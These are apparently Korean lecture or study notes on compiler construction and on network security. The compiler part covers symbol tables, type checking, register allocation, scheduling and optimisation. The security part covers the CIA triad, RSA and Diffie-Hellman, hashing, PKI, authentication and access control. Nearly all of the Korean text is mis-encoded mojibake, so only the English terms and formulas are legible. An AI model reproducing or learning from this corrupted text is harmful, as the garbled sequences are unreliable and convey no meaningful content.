์ฐ๋ ์ด์ ๊ฐ๊น์ด ๊ฑฐ ๊ธฐ์ค์ผ๋ก offset ๊ณ์ฐ -> small offset ์ ์ง ์ํ ์ค top frame์ ์์น๋ฅผ ์ ์ ์์ Semantic Analysis - Symbol Tables Scope Identifier: ์๋ณ์ Lexical Scope: ํน์ ๋ฒ์ ์๋ณ์์ Scope: ๊ทธ ์๋ณ์์ ์ ์ธ์ด ์ฐธ์กฐ๋๋ lexical scope Symbol Table Name Kind Type Attribute foo func int, int -> int extern m arg int tmp var char const ํ๋์ lexical๋ง๋ค ํ๋์ symbol table symbol table์ ๊ณ์ธต์ ์ด๋ค ํ์ฌ scope์ ์์ผ๋ฉด ์์ scope๋ก ์ฌ๋ผ๊ฐ๋ฉด์ ์ฐพ๋๋ค Symbol Table Implementation AST๊ฐ ๋ง๋ค์ด์ ธ์ผ ๊ฐ๋ฅ Local Table์ hash table ์ฌ์ฉ Global Table์ N-array tree ๊ตฌ์กฐ ์ฌ์ฉ ์ฝ๋๋ฅผ ์์ฐจ๋๋ก ์ฝ์ผ๋ฉด์ ๋ง๋ฌ (scope ์คํ์ ์ฌ์ฉ) Type Checking Type Expressions Array types: T[], T[10] Structure types : {id1: T1, id2: T2 …} Pointer types: T* Function types: T1 X T2 X … X Tn -> T_return Type Judgement A โ E : T A ์ํฉ์์ E๋ Tํ์
์ ๋ง์กฑํ๋ค
A โ if(E) S1 else S2 : T ์ ์กฐ๊ฑด์ ๋ชจ๋ E, S1, S2, A, T์ ๋ํ ๊ฐ์ ์ด ์ฑ๋ฆฝํ ๋ ๊ฒฐ๋ก T๊ฐ ์ฑ๋ฆฝํ๋ค
Proof Tree (ํ์
์ ๋ ํธ๋ฆฌ) ์ญ์ผ๊ฐํ ๋ชจ์ ๋ง์กฑํ๋ proof tree๊ฐ ์๋ค -> ํ์
์ค๋ฅ๊ฐ ์๋ค ๊ทธ ์ธ Semantic Analyses break, continue, goto ๋ฌธ์ด ์ฌ๋ฐ๋ฅธ ์์น์ ์๋ ์ง ๋ฑ ์ปดํ์ผ๋ฌ ํ๋ฐ๋ถ (๋น ๋ฅด๊ณ , ์ค์ ๋์๊ฐ๋ ์ฝ๋๋ก ๋ฐ๊พธ๊ธฐ) Instruction Selection Tree ๊ธฐ๋ฐ Intermediate Representation MEM(e) : ์ฃผ์ e๋ก ์์ํ๋ ๋ฉ๋ชจ๋ฆฌ ํ word์ ๋ด์ฉ TEMP(t) : ๋ ์ง์คํฐ t SEQ(s1, s2): ๋ฌธ์ฅ s1 ์ํ ํ s2 ์ํ ESEQ(s, e): ๋ฌธ์ฅ s ์ํ ํ (๊ฒฐ๊ณผ ์์) e๊ฐ ์ถ๊ฐ ์ํ BINOP(o, e1, e2) : ์ฐ์ฐ์ o, ํผ์ฐ์ฐ์ e1, e2, ๊ฒฐ๊ณผ ์ ์ฅ๋ ์ฃผ์ ๋ฐํ const(i): ์ ์ ์์ i Register Allocation ์ต์ ํ ํ๊ธฐ ์ํด ์ต๋ํ ์์ฃผ ์ฌ์ฉ๋๋ ๊ฒ์ Register์ ์ ์ฅ Interference ์๋ก ๋ค๋ฅธ ๋ definition์ด live range ์์ ๊ณตํต operation์ ๊ฐ์ง๊ณ ์๋ ๊ฒฝ์ฐ
Interference Graph : ์๋ก interfere ํ๋ฉด ์ฐ๊ฒฐํ๋ ๊ทธ๋ํ Graph coloring : ์ฐ๊ฒฐ๋ ๋
ธ๋๋ ๋ค๋ฅธ ์์ผ๋ก ์น ํ๊ธฐ Instruction Scheduling instruction์ ์์๋ฅผ ๋ฐ๊พธ์ด stall ๊ฐ์ ๋ฑ์ ์ค์ฌ์ ์ํ์๋๋ฅผ ๋์ด๋ ๊ฒ
stall : ๋ค๋ฅธ ๋ช
๋ น์ด ์ํ์ ๊ธฐ๋ค๋ฆฌ๋๋ผ CPU๋ฅผ ๋ญ๋นํ๋ ๊ฒ ๋ชฉํ Wasting time์ ์ค์ธ๋ค ๋์ผํ ์ฝ๋๊ฐ ๋์์ผํ๋ค register spilling์ ํผํด์ผํ๋ค Static scheduling ๋จ๊ณ Local basic scheduling, Loop scheduling, global scheduling Local basic scheduling List scheduling : greedy, heuristic, local technique ์ฌ์ฉ precedence graph๋ฅผ ๋ง๋ ๋ค ๊ฐ ๋
ธ๋์ priority function์ ์ ์ฉํ๋ค “ready-operation queue"๋ฅผ ์์ ready operation์ ํ๋ ์ ํ ํ scheduling, ready operation queue๋ฅผ ์
๋ฐ์ดํธํ๋ค. Longest latency-weighted path๋ฅผ ์ด์ฉํด์ ์ฐ์ ์์๋ฅผ ์ ํ๋ค ๊ธฐํ Optimization ๋ฐฉ๋ฒ addr r1 1 -> inc r1 ํน์ ์ฑ์ง์ ๋ ์ง์คํฐ ํ์ฉ ํน์ ๋ชฉ์ ์ ๋ช
๋ น์ด ํ์ฉ Register ๊ฐ mov ์ ๊ฑฐ ์ค๋ณต๋ load ์ ๊ฑฐ Control Flow Optimizations(์ต์ ํ) ์ฃผ์ด์ง ์
๋ ฅ ํ๋ก๊ทธ๋จ์ ์ข ๋ ํจ์จ์ ์ธ ์ฝ๋๋ก ๋ฐ๊พธ๋ ๊ฒ
์ฌ๋ฌ๊ฐ์ง ๋ถ๋ฅ ๋ฐฉ๋ฒ ๋ถ์ : Control Flow Analysis vs Data Flow Analysis ์ต์ ํ Inner basic block(local) vs Inter basic block(global) Cyclic code opt vs Acyclic code opt Control Flow Analysis Control Flow ํ๋ก๊ทธ๋จ์ ๊ฐ๋ฅํ ์ํ์์ (๋ถ๊ธฐ)
Branch Execution -> dynamic control flow : ์คํ ํด๋ด์ผ ํ์ธ ๊ฐ๋ฅ Compiler -> static control flow : ์ปดํ์ผ๋ฌ๊ฐ ๋ถ์ํด์ ์ ์ ์์ Analysis ์ ์ ์ฑ์ง (static property): ํ๋ก๊ทธ๋จ ์ํ ์์ด ๋์ถ ๋๋ ์ฑ์ง CFA(Control Flow Analysis) : ์ฝ๋์ ๋ถ๊ธฐ ๊ตฌ์กฐ๋ฅผ CFG ํํ๋ก ํํ Basic Block ๋์ผํ execution condition์ ์ ์ฉ๋ฐ๋ instruction ๋ฌถ์
instruction ์ธ์๋ branch๊ฐ ์์ Maximal basic block ๊ตฌํ๊ธฐ BB์ leader(์ฒซ๋ฒ์งธ instruction)๋ฅผ ์ฐพ๋๋ค ๋ค์ leader ์ด์ ๊น์ง์ instruction์ ๊ตฌํ๋ค Weighted CFG Profiling: ๋ฐ๋ณตํด์ ์ํํด๋ณด๋ฉด์ ์คํํ์๋ฅผ ์ป์ ์ป์ weight๋ฅผ edge์ ํ์ Control Flow Optimization Acyclic Code Loop๊ฐ ์๋ ์ฝ๋
๋ถ์ ๋ฐ ์ต์ ํ๊ฐ ์๋์ ์ผ๋ก ์ฌ์
์ข
๋ฅ
Inner basic block opt. = Intra opt. = Local opt. Inter basic block opt. = Global opt. Inner Basic Block Optimization Commn subexpression elimination ๊ณตํต๋ ๋ถ๋ถ์ด ์์ผ๋ฉด ํ๋ฒ๋ง ๊ณ์ฐ Algebraic simplification ๋์๋ฒ์น์ ์ด์ฉํ์ฌ ์์ ๊ฐ์ํ ex) x=1*y; -> x=y; Strength reduction ์ฐ์ฐ์์ ๋น์ฉ์ด ์ ์ ๊ฒ์ผ๋ก ๋ฐ๊พธ๊ธฐ ex) x=x*2; -> x=x+x; ex) y=a/4; -> y=a>>2; Constant folding / propagation folding: ์ปดํ์ผ ์๊ฐ์ ์์์์ ์ง์ ์๊ฐ propagation : ๊ณ ์ ๋ ๊ฐ์ ๊ฐ์ง๋ ๋ณ์๋ฅผ ์์๋ก ๋์ฒด Inter Basic Block Optimization Global application of inner basic block optimization
Global common subexpression elimination basic block ๊ฐ์ ๊ณตํต ๋ถ๋ถ์์ ๋ํด ํ๋ฒ๋ง ๊ณ์ฐ Global constant folding / propagation basic block ๊ฐ์ ์์๋ฅผ ์ธ์ํ์ฌ ํ๋ฒ๋ง ๊ณ์ฐ Other transformation
Branch to unconditional branch ๋ถํ์ํ ๋ถ๊ธฐ ์ ๊ฑฐ Unconditional branch to branch ๋ถ๊ธฐ ํ ๋ฐ๋ก ๋ถ๊ธฐ -> ๋ถ๊ธฐ ํ๋ฒ์ผ๋ก ๋ณ๊ฒฝ Branch to next basic block (next instr) ๋ถ๊ธฐ ํ ๋ฐ๋ก ๋ค์ basic block์ผ๋ก ๋ถ๊ธฐ ์ ๊ฑฐ Basic block merging ๋ basic block์ ํฉ์นจ Branch to same target ๊ฐ์ basic block์ผ๋ก ๋ถ๊ธฐํ๋ ๊ฒ์ ์ ๊ฑฐ Branch target expansion ๋ถ๊ธฐ ๋์์ด ๋๋ basic block์ ํฉ์นจ Unreachable code elimination Entry์์ ๋๋ฌํ ์ ์๋ ‘unreachable’ block ์ ๊ฑฐ Loop Optimization Loop๋ ํ๋ฒ optimizeํ๋ฉด ํจ๊ณผ๊ฐ ํฌ๋ค Loop unrolling : ๋ฐ๋ณต๋ฌธ์ ํ์ด์ ๋ฐ๋ณต ํ์๋ฅผ ์ค์ Loop invarient : ๋งค๋ฒ ๋์ผํ ๊ฐ์ ๋ด๋ ๋ฌธ์ฅ์ ๋ฐ๋ณต๋ฌธ ๋ฐ์ผ๋ก ๋นผ๋ Count up to zero : i๋ฅผ ๊ฐ์ํ๋ ๋ฐ๋ณต๋ฌธ์ผ๋ก ๋ณ๊ฒฝ (i๋ฅผ 0๊ณผ ๋น๊ตํ๋ ๊ฒ์ด n๊ณผ ๋น๊ตํ๋ ๊ฒ๋ณด๋ค ๋น ๋ฆ) Dataflow Analysis + Optimization Dataflow Analysis ํ๋ก๊ทธ๋จ ๋ด์ ๊ฐ data ๊ฐ๋ค์ด ์์ฑ/์๋ฉธ๋๋ ์ ๋ณด๋ฅผ ๋ชจ์ผ๋ ๊ฒ Reaching Definition Analysis definition : ํด๋น ๋ณ์๊ฐ assign๋๋ ๊ฒ reach : definition d๊ฐ ํน์ ์์น p์ ๋๋ฌํ๋ค kill : definition d์ ๋๊ฐ์ ํฌ์ธํธ์ฌ์ด์์ ๋ค๋ฅธ definition์ด ์กด์ฌํ๋ค GEN/KILL GEN: ๋ธ๋ก ๋ด์์ ์์ฑ๋ definition KILL: ๋ธ๋ก ๋ด์์ ์๋ฉธ๋ definition IN/OUT IN : ์ด์ ๋ธ๋ก์ OUT์ ํฉ์งํฉ OUT : IN์์ GEN์ ๋ํ๊ณ KILL์ ๋บ ๊ฒ ๋คํธ์ํฌ ๋ณด์ ๊ฐ์ ๋คํธ์ํฌ ๋ณด์์ ์๊ตฌ์ฌํญ ๊ธฐ๋ฐ์ฑ(Confidentiality) ์ ๋ณด๋ฅผ ๊ถํ์ด ์๋ ๊ฐ์ธ์๊ฒ ๋
ธ์ถ๋์ง ์๋๋ก ํจ
๋ฌด๊ฒฐ์ฑ(Integrity) ์ ๋ณด์ ํ๋ก๊ทธ๋จ์ ์ธ๊ฐ๋ ๋ฐฉ์์ผ๋ก๋ง ๋ณ๊ฒฝ๋๋๋ก ํจ
๊ฐ์ฉ์ฑ(Availability) ์ ๋ณด ์์ฐ์ ๋ํด ์ ์ ํ ์๊ฐ์ ์ ๊ทผ ๊ฐ๋ฅํ๋๋ก ํจ
๋ณด์ ๊ณต๊ฒฉ์ ์ข
๋ฅ ์๊ทน์ ๊ณต๊ฒฉ(Passive Attack) ์ ๋ณด๋ฅผ ๋์ฒญํ๊ฑฐ๋ ๊ฐ์ํ๋ ๊ณต๊ฒฉ ๋ฐฉ์ด๋ฐฉ๋ฒ : ์ํธํ ์ ๊ทน์ ๊ณต๊ฒฉ(Active Attack) ์ ๋ณด๋ฅผ ๋ณ์กฐํ๊ฑฐ๋ ์ญ์ ํ๋ ๊ณต๊ฒฉ ๋ฐฉ์ด๋ฐฉ๋ฒ : ๋ฉ์์ง ์ธ์ฆ ๋ณด์ ์๋น์ค ์ธ์ฆ(Authentication) ์ฌ์ฉ์์ ์ ์์ ํ์ธํ๋ ๊ณผ์
๋๋ฑ ๊ฐ์ฒด ์ธ์ฆ, ๋ฐ์ดํฐ-๊ทผ์์ง ์ธ์ฆ ์ ๊ทผ ์ ์ด(Access Control) ์์์ ๋ถ๋ฒ์ ์ผ๋ก ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ๋ฐฉ์งํ๋ ๊ฒ
๋ฐ์ดํฐ ๊ธฐ๋ฐ์ฑ(Data Confidentiality) ๋ฐ์ดํฐ์ ๋ถ๋ฒ์ ๋
ธ์ถ์ ๋ง๋ ๊ฒ
์ฐ๊ฒฐ๊ธฐ๋ฐ์ฑ, ๋น์ฐ๊ฒฐ ๊ธฐ๋ฐ์ฑ, ์ ๋ณ๋-ํ๋ ๊ธฐ๋ฐ์ฑ, ํธ๋ํฝ-ํ๋ฆ ๊ธฐ๋ฐ์ฑ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ(Data Integrity) ์์ ๋ ๋ฐ์ดํฐ๊ฐ ์ก์ ๋ ๋ฐ์ดํฐ์ ์ผ์นํ๋์ง ํ์ธํ๋ ๊ฒ
์ฐ๊ฒฐํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ, ๋น์ฐ๊ฒฐํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ๋ณต๊ตฌ ๊ฐ๋ฅํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ, ๋ณต๊ตฌ ๋ถ๊ฐ๋ฅํ ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ์ ๋ณ๋-ํ๋ ์ฐ๊ฒฐ ๋ฌด๊ฒฐ์ฑ, ๋น์ฐ๊ฒฐ ๋ฌด๊ฒฐ์ฑ, ์ ๋ณ๋-ํ๋ ๋น์ฐ๊ฒฐ ๋ฌด๊ฒฐ์ฑ ๋ถ์ธ ๋ด์ (Non-repudiation) ํต์ ์ ํ ์ฃผ์ฒด๊ฐ ํต์ ์ ์ฐธ์ฌํ๋ ์ฌ์ค์ ๋ถ์ธํ๋ ๊ฒ์ ๋ฐฉ์ง
๊ฐ์ฉ์ฑ ์๋น์ค (Availability Service) ์๋น์ค๋ฅผ ์ฌ์ฉํ ์ ์๋ ์ํ๋ฅผ ์ ์งํ๋ ๊ฒ
๋ณด์ ๋ฉ์ปค๋์ฆ ํน์ ๋ณด์ ๋ฉ์ปค๋์ฆ ํน์ ํ๋กํ ์ฝ ๊ณ์ธต์์ ๊ตฌํ๋๋ ๋ฉ์ปค๋์ฆ
์ธ์ฆ ์ํธํ ๋์งํธ ์๋ช
์ ๊ทผ ์ ์ด ๋ฐ์ดํฐ ๋ฌด๊ฒฐ์ฑ ์ธ์ฆ ๊ตํ ํธ๋ํฝ ํจ๋ฉ ๊ฒฝ๋ก ์ ์ด ๊ณต์ฆ ์ผ๋ฐ ๋ณด์ ๋ฉ์ปค๋์ฆ ๊ณ์ธต๊ณผ ์๋น์ค์ ๋
๋ฆฝ์ ์ธ ๋ฉ์ปค๋์ฆ
์ ๋ขฐ๋ฐ๋ ๊ธฐ๋ฅ ๋ณด์ ๋ ์ด๋ธ ์ฌ๊ฑด ํ์ง ๋ณด์ ๊ฐ์ฌ ์ถ์ ๋ณด์ ๋ณต๊ตฌ ์ํธ ๊ธฐ์ ์ ์ดํด ์ ํต์ ์ธ ์ํธ ๊ธฐ์ ์ํธ๋ฅผ ์ฌ์ฉํ๋ ๋ชฉ์ ๋น๋ฐ์ฑ ์ ์ง (Confidentiality) ๋ฌด๊ฒฐ์ฑ ์ ์ง (Data Integrity) ์ฌ์ฉ์ ๋๋ ์๋ฃ์ ์ถ์ฒ ์ธ์ฆ (Authentication) ๋ถ์ธ ๋ฐฉ์ง (Non-repudiation) ์ํธ ํด๋
ํด๋
์๋ ์ํธ ์์คํ
์ ์๊ณ ์์ง๋ง, ํค๋ง ๋ชจ๋ฆ
Cipher Text Only Attack : ์ํธ๋ฌธ ๋จ๋
๊ณต๊ฒฉ Know Plain Text Attack : ์๋ ค์ง ํ๋ฌธ ๊ณต๊ฒฉ Chosen Plain Text Attack : ์ ํ์ ํ๋ฌธ ๊ณต๊ฒฉ ๊ณต๊ฐํค ์ํธํ ๋น๋ฐํค ์ํธ์ ๋น๊ต ๊ตฌ๋ถ ๊ณต๊ฐํค ์ํธ ๋น๋ฐํค ์ํธ ํค์ ๊ด๊ณ ์ํธํ ํค != ๋ณตํธํ ํค ์ํธํ ํค = ๋ณตํธํ ํค ํค์ ๊ฐ์ 2n n(n-1)/2 1์ธ๋น ํ์ํ ๋น๋ฐํค 1 n-1 ์๋ ๋นํจ์จ์ ํจ์จ์ ๋์นญํค(๋น๋ฐํค) ์ํธ ์ข
๋ฅ ๋ธ๋ก ์ํธ : ๋ธ๋ก ๋จ์๋ก ์ํธํ DES, IDEA, AES
์คํธ๋ฆผ ์ํธ : ๋นํธ ๋จ์๋ก ์ํธํ RC4, A5/1
ํ๊ตญ์์ ์ฌ์ฉํ๋ ์๊ณ ๋ฆฌ์ฆ NEAT, SEED, NES, ARIA
๊ณต๊ฐํค(๋น๋์นญํค) ์ํธ ์ข
๋ฅ ์์ธ์ ๋ถํด ๊ธฐ๋ฐ : RSA ์ด์ฐ ๋์ ๊ธฐ๋ฐ : ElGamal ํ์ ๊ณก์ ๊ธฐ๋ฐ ํค ์์ฑ ์๋ก์์ธ ๋ ์์ p, q๋ฅผ ์ ํ n = p * q ฯ(n) = (p-1)(q-1) gcd(e, ฯ(n)) = 1์ ๋ง์กฑํ๋ e ์ ํ d * e mod ฯ(n) = 1์ ๋ง์กฑํ๋ d ์ ํ ๊ณต๊ฐํค : {e, n}, ๋น๋ฐํค : {d, n} ์ํธํ C = M^e mod n
๋ณตํธํ M = C^d mod n
DH (Diffie Hellman) ํค ๊ณต์ q(์์), ฮฑ(q์ ์์๊ทผ, ฮฑ<q) ์์ ์ $X_A < q$๋ฅผ ๋ง์กฑํ๋ $X_A$๋ฅผ ์ ํ ๊ณต๊ฐํ $Y_A = \alpha^{X_A} mod\ q$ ์๋๋ฐฉ์ด ์์ฑํ๋ ๋น๋ฐํค $K = Y_A^{X_B} mod\ q$ ์ํธ ๊ธฐ์ ์ ํ์ฉ ๋์งํธ ์๋ช
ํน์ฑ ์์กฐ ๋ถ๊ฐ, ๋ณ๊ฒฝ ๋ถ๊ฐ, ์๋ช
์ ์ธ์ฆ, ์ฌ์ฌ์ฉ ๋ถ๊ฐ, ๋ถ์ธ ๋ฐฉ์ง
์๋ช
์์ ๋น๋ฐํค๋ก ์ํธํ ์๋ช
์์ ๊ณต๊ฐํค๋ก ๋ณตํธํ ๋จ๋ฐฉํฅ ํด์ ํจ์๋ฅผ ์ด์ฉํ ๋ฉ์์ง ์ธ์ฆ ํด์ ํจ์์ ์๊ฑด ๋จ๋ฐฉํฅ์ฑ : H(x) = h์ผ๋, x๋ฅผ ์ฐพ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด์ผํ๋ค ์ฝํ ์ถฉ๋ ์ ํญ์ฑ : H(x)=H(y)๋ฅผ ๋ง์กฑํ๋ y(=x)๋ฅผ ์ฐพ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด์ผํ๋ค ๊ฐํ ์ถฉ๋ ์ ํญ์ฑ : H(x)=H(y)๋ฅผ ๋ง์กฑํ๋ (x, y)๋ฅผ ์ฐพ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด์ผํ๋ค ๊ณต๊ฐํค ๊ธฐ๋ฐ ๊ตฌ์กฐ ์ธ์ฆ์ ๊ณต๊ฐํค์ ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ํฌํจํ ์ ์ ๋ฌธ์
ํ์ค : X.509 v3 PKI (Public Key Infrastructure) ๊ณต๊ฐํค๋ฅผ ๊ด๋ฆฌํ๊ณ ์ธ์ฆํ๋ ๊ตฌ์กฐ
CA (Certificate Authority) : ์ธ์ฆ์ ๋ฐ๊ธ RA (Registration Authority) : ์ฌ์ฉ์ ๋ฑ๋ก CRL (Certificate Revocation List) : ํ๊ธฐ๋ ์ธ์ฆ์ ๋ชฉ๋ก ๋ํ์ํธ์ ์์์ํธ ๊ธฐ์ ๋ํ์ํธ ์ํธํ๋ ์ํ์์ ์ฐ์ฐ์ ์ํํ ๊ฒฐ๊ณผ๋ฅผ ๋ณตํธํํ๋ฉด ์๋ฌธ๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ์ป๋ ์ํธํ ๊ธฐ๋ฒ
๋ถ๋ถ ๋ํ ์ํธ : ๋ง์
๊ณผ ๊ณฑ์
์ค์์ ํ๋์ ์ฐ์ฐ๋ง ์ง์ ์ค๋ํ ์ํธ : ์ฐ์ฐ์ ํ์์ ์ ํ์ด ์กด์ฌ ์์ ๋ํ ์ํธ : ์์์ ๊ณ์ฐ์ ์ํ ๊ฐ๋ฅ ํ์ฉ ์ํธํ๋ ์ํ๋ก ์ฐ์ฐ์ ํ๊ธฐ ๋๋ฌธ์ ๋ณด์์ฑ์ด ๋์ ์์ ๋ด์ฑ ์ํธ (PQC: Post Quantum Cryptography) ์์ ์ปดํจํฐ์ ์ํ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ํ ๊ณต๊ฐํค ์ํธ
QKD(Quantum Key Distribution) : ์์ ํต์ ์ ์ํด ๋น๋ฐํค๋ฅผ ๋ถ๋ฐฐ/๊ด๋ฆฌํ๋ ๊ธฐ์ QRNG(Quantum Random Number Generator) : ์์ ๋์ ์์ฑ๊ธฐ ์ฌ์ฉ์ ์ธ์ฆ ์ฌ์ฉ์ ์ธ์ฆ ์๋ฆฌ ์ธ์ฆ ์ ์ฐจ ์ ์ ํ์ธ ๋จ๊ณ ์
์ฆ ๋จ๊ณ NIST์ ์ ์ ์ธ์ฆ ๋ชจ๋ธ ์ธ์ฆ ์๋จ ์๊ณ ์๋ ๊ฒ์ ํตํ ์ธ์ฆ : ๋น๋ฐ๋ฒํธ ์์ ๋ฌผ์ ํตํ ์ธ์ฆ : OTP ๊ธฐ๊ธฐ, ์ธ์ฆ์ ์์ฒด ์กฐ์ง์ ํตํ ์ธ์ฆ : ์ง๋ฌธ, ๋ง๋ง ํ๋์ ํตํ ์ธ์ฆ : ๋ชฉ์๋ฆฌ ํจํด, ํ์ ๋ณด์กด ๋ฑ๊ธ ์ํฅ ํ๋กํ์ผ ๋ณด์ฆ๋ ๋ฒจ : ์ ๋ขฐ์ ์ ๋์ ๋ฐ๋ผ 4๊ฐ์ง ๋ฑ๊ธ์ผ๋ก ๋ถ๋ฅ ๋น๋ฐ๋ฒํธ ๊ธฐ๋ฐ ์ธ์ฆ ๊ณต๊ฒฉ ์ ํ ์คํ๋ผ์ธ ์ฌ์ ๊ณต๊ฒฉ ํน์ ๊ณ์ ๊ณต๊ฒฉ ์ ์๋ ค์ง ํจ์ค์๋ ๊ณต๊ฒฉ, ๋์
๊ณต๊ฒฉ ๋จ์ผ ์ฌ์ฉ์์ ๋ํ ํจ์ค์๋ ์ถ์ธก ๋จ๋ง๊ธฐ ๊ฐํ ์ฌ์ฉ์ ์ค์ ์ด์ฉ ๋ค์ค ๋น๋ฐ ๋ฒํธ ์ฌ์ฉ ์ปดํจํฐ ๋ชจ๋ํฐ๋ง : ํต์ ํจํท ๋ถ์ ํด์ํ๋ ๋น๋ฐ๋ฒํธ ์ฌ์ฉ Salt์ ์ญํ ๋น๋ฐ๋ฒํธ๊ฐ ๊ฐ์๋ ๋ค๋ฅธ ํด์๊ฐ์ ๊ฐ์ง๋๋ก ํจ
ํจ์ค์๋ ํฌ๋ํน ์ฌ์ ๊ณต๊ฒฉ ๋ ์ธ๋ณด์ฐ ํ
์ด๋ธ ๊ณต๊ฒฉ : ๋ชจ๋ ์ํธ์ ๋ํ ํด์ ๊ฐ์ ๊ณ์ฐํด ๋์ ํ
์ด๋ธ์ ์ด์ฉ ํจ์ค์๋ ์ ํ ๊ธฐ๋ฒ ์ฌ์ฉ์ ๊ต์ก ์ปดํจํฐ ๋ฐ์ ํจ์ค์๋ ํจ์ค์๋ ๊ฒ์ฌ์ ํ์ฑํ : ์์ฒด ํจ์ค์๋ ํฌ๋์ปค ์คํ ์ฌ์ ํจ์ค์๋ ๊ฒ์ฌ : ํจ์ค์๋ ์์ ์ฑ ๊ฒ์ฌ ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ ์ข
๋ฅ ๋ฉ๋ชจ๋ฆฌ ์นด๋ ์ค๋งํธ ์นด๋ : ์๋ฒ ๋๋ ๋ง์ดํฌ๋กํ๋ก์ธ์ ํฌํจ ์์ฒด ์ธ์ฆ ๊ธฐ์ ์ ํ๋ : ํ๋ฅ ๋ฐ๋ ํจ์๋ก ํํํ๋ฉด ์ ๊ท ๋ถํฌ๋ฅผ ๋ฐ๋ฆ FAR (False Acceptance Rate) : ๊ฑฐ์ง ์๋ฝ๋ฅ FRR (False Rejection Rate) : ๊ฑฐ์ง ๊ฑฐ๋ถ์จ EER (Equal Error Rate) : FAR๊ณผ FRR์ด ๊ฐ์ ์ง์ ์๊ฒฉ ์ฌ์ฉ์ ์ธ์ฆ ๋ฉํฐ ํฉํฐ ์ธ์ฆ : ๋ ์์ ์ด์์ ์ฌ์ฉํ ์ธ์ฆ ๋ฉํฐ ์ฑ๋ ์ธ์ฆ : ๋ค์ํ ์ฑ๋์ ํตํด ์ธ์ฆ ์ธ์ฆ ํ๋กํ ์ฝ ํจ์ค์๋ ํ๋กํ ์ฝ ํธ์คํธ๊ฐ ๋์๋ฅผ ์์ฑ, ์ฌ์ฉ์์๊ฒ ์ ์ก ์ฌ์ฉ์๋ ํจ์ค์๋์ ๋์๋ฅผ ์กฐํฉํ์ฌ ํด์๊ฐ์ ์์ฑ, ์ ์ก ํ ํฐ ํ๋กํ ์ฝ ํธ์คํธ๊ฐ ๋์๋ฅผ ์์ฑ, ์ฌ์ฉ์์๊ฒ ์ ์ก ์ฌ์ฉ์๋ ํ ํฐ์ ์ฌ์ฉํ์ฌ ๋์๋ฅผ ์ํธํ, ์ ์ก ์ ์ ์์ฒด ํ๋กํ ์ฝ ํธ์คํธ๋ ๋์์ ์ํธํ๋ฅผ ์ํ ์๋ณ์๋ฅผ ์ ์ก ์ฌ์ฉ์๋ ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒด ์ ๋ณด๋ฅผ ์ํธํ, ์ ์ก ๋์ ์์ฒด ํ๋กํ ์ฝ ํธ์คํธ๊ฐ ์ฌ์ฉ์์๊ฒ ๋๋ค ์ํ์ค๋ ๋์๋ฅผ ์ ์ก ์ฌ์ฉ์๋ ์ด๋ฅผ ๋งํ๊ฑฐ๋, ๊ธ์๋ฅผ ์ฐ๋ ๋ฑ์ ๋์์ ์ํ, ์ํธํ ํ ์ ์ก ์ ๊ทผ ์ ์ด ์ ๊ทผ ์ ์ด ์๋ฆฌ ์ ๊ทผ์ ์ด ์ฒ ํ ์ ๊ทผํต์ ์์ญ ๊ด๋ฆฌ์ ํต์ ๊ธฐ์ ์ ํต์ ๋ฌผ๋ฆฌ์ ํต์ ์ ๊ทผ ์ ์ด ์์น ์ ํ์์ฑ ์์น ์ต์ ๊ถํ ์์น ์ต๋ ๊ถํ ์์น ์ง๋ฌด ๋ถ๋ฆฌ ์์น ์ ๊ทผ ์ ์ด ๊ธฐ๋ณธ ์์ ์ฃผ์ : ๊ฐ์ฒด์ ์ ๊ทผ ๊ฐ๋ฅํ ์กด์ฌ : user, group, other ๊ฐ์ฒด : ์ ๊ทผ์ด ์ ์ด๋๋ ์์ : ํ์ผ ๋๋ ๋ ์ฝ๋ ์ ๊ทผ ๊ถํ : ์ฃผ์ฒด๊ฐ ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์๋ ๋ฐฉ๋ฒ : ์ฝ๊ธฐ, ์ฐ๊ธฐ, ์คํ ๋ฑ ์ ๊ทผ ์ ์ด ์๊ตฌ ์ฌํญ ๋ซํ ์ ์ฑ
: ํ์ดํธ๋ฆฌ์คํธ ๊ด๋ฆฌ ์ด๋ฆฐ ์ ์ฑ
: ๋ธ๋๋ฆฌ์คํธ ๊ด๋ฆฌ ์ ๊ทผ ์ ์ด ์ ์ฑ
์์ ์ ๊ทผ ์ ์ด (DAC) ๊ฐ์ ์ ์ ๊ทผ ์ ์ด (MAC) ์ญํ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด (RBAC) ์์ฑ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด (ABAC) ์์ ์ ๊ทผ ์ ์ด (DAC, ์์จ์ ์ ๊ทผ ์ ์ด) ํ ๊ฐ์ฒด๊ฐ ์์ ์ ์์ง๋๋ก ๋ค๋ฅธ ๊ฐ์ฒด์๊ฒ ๊ถํ์ ๋ถ์ฌํ๋ ๋ฐฉ์
์ ๊ทผ ์ ์ด ๋ชฉ๋ก (access control list) > ๊ฐ์ฒด๋ณ๋ก ์ ๊ทผ ๊ถํ์ ๋ช
์ํ๋ ๋ฐฉ์ ์ธ๊ฐ ํ
